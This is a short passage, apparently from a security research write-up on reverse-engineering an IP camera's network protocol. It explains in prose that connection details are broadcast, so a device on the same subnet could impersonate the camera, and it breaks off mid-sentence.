Theory-crafting A Vulnerability Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.
The IP address of the camera can change, and the client must be able to respond to this change.This means …